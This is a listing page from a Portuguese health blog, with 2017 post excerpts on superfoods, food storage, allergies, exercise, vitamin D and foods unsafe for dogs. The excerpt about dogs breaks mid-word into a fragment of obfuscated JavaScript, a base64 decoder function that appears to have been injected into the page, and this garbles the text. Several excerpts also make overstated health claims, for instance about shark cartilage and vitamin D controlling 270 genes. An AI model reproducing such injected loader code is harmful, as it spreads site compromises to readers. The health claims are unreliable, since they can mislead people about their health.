Abr 18, 2017 | Saúde e bem estar
Benefícios das bagas goji + receita pequeno almoço saudável Estou sempre atenta ao que de mais saudável existe para incluir na minha alimentação. E depois de comprovar a qualidade e os resultados, não hesito em partilhar. Hoje dou-lhe a conhecer 10 benefícios das...
Abr 14, 2017 | Dicas úteis, Saúde e bem estar
7 benefícios da tapioca para a nossa saúde Hoje vou falar-lhe de um alimento originário do Brasil e que já tem vindo a conquistar cada vez mais fãs por todo mundo. Já conhece a tapioca? Os benefícios são impressionantes. Saiba tudo aqui. A tapioca é a fécula...
Abr 13, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios do amaranto + receita de bolo de banana Aposto que já se habituou às minhas dicas saudáveis e eu continuo a adorar dar-lhe a conhecer superalimentos que têm muitos e variados benefícios. Hoje falo-lhe do amaranto. Já ouviu falar?...
Abr 11, 2017 | Saúde e bem estar
Cacau, o rei dos antioxidantes, e os seus benefícios Todos nós conhecemos o delicioso cacau, mas será que sabe que este superalimento é considerado por muitos o rei dos antioxidantes? É verdade, os grãos de cacau são produzidos através da planta “Theobroma...
Abr 8, 2017 | Saúde e bem estar
10 alimentos que não deve guardar no frigorífico O frigorífico é fundamental para guardamos a fruta e os vegetais frescos e alguns alimentos no congelador, como a carne e o peixe. Mas atenção que o frio não faz bem a todos os alimentos. Há os que podem ser...
Abr 6, 2017 | Equilíbrio, Saúde e bem estar
7 alimentos que combatem as alergias da Primavera Com a chegada da Primavera, os dias começam a crescer, a temperatura a subir e fica tudo mais alegre. Mas, como não há bela sem senão, com a Primavera chega também o pólen e com ele os sintomas das alergias, como o...
Abr 6, 2017 | Equilíbrio, Saúde e bem estar
5 Exercícios para ter uns abdominais definidos O verão está a chegar e as preocupações com o corpo aumentam. Hoje trago-lhe 5 exercícios para ter uns abdominais definidos para exibir na praia este ano! Mas atenção, não vale de nada treinar muito se depois não...
Abr 4, 2017 | Dicas úteis, Equilíbrio, Saúde e bem estar
Benefícios da vitamina D para a sua saúde A Vitamina D Já é essencial para o nosso organismo. É tão simples como isso. Ela é responsável por controlar 270 genes, inclusive as células do sistema cardiovascular (coração). A boa notícia é que a vitamina D pode ser...
Mar 30, 2017 | Saúde e bem estar
10 alimentos que não deve dar ao seu cão Todos os donos gostam de mimar o seu melhor amigo de quatro patas. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mar 28, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios da cartilagem de tubarão Tenho partilhado consigo os benefícios de vários superalimentos, que embora nem sempre sejam muito conhecidos, são definitivamente uma boa escolha para introduzir na nossa alimentação diária. Hoje...
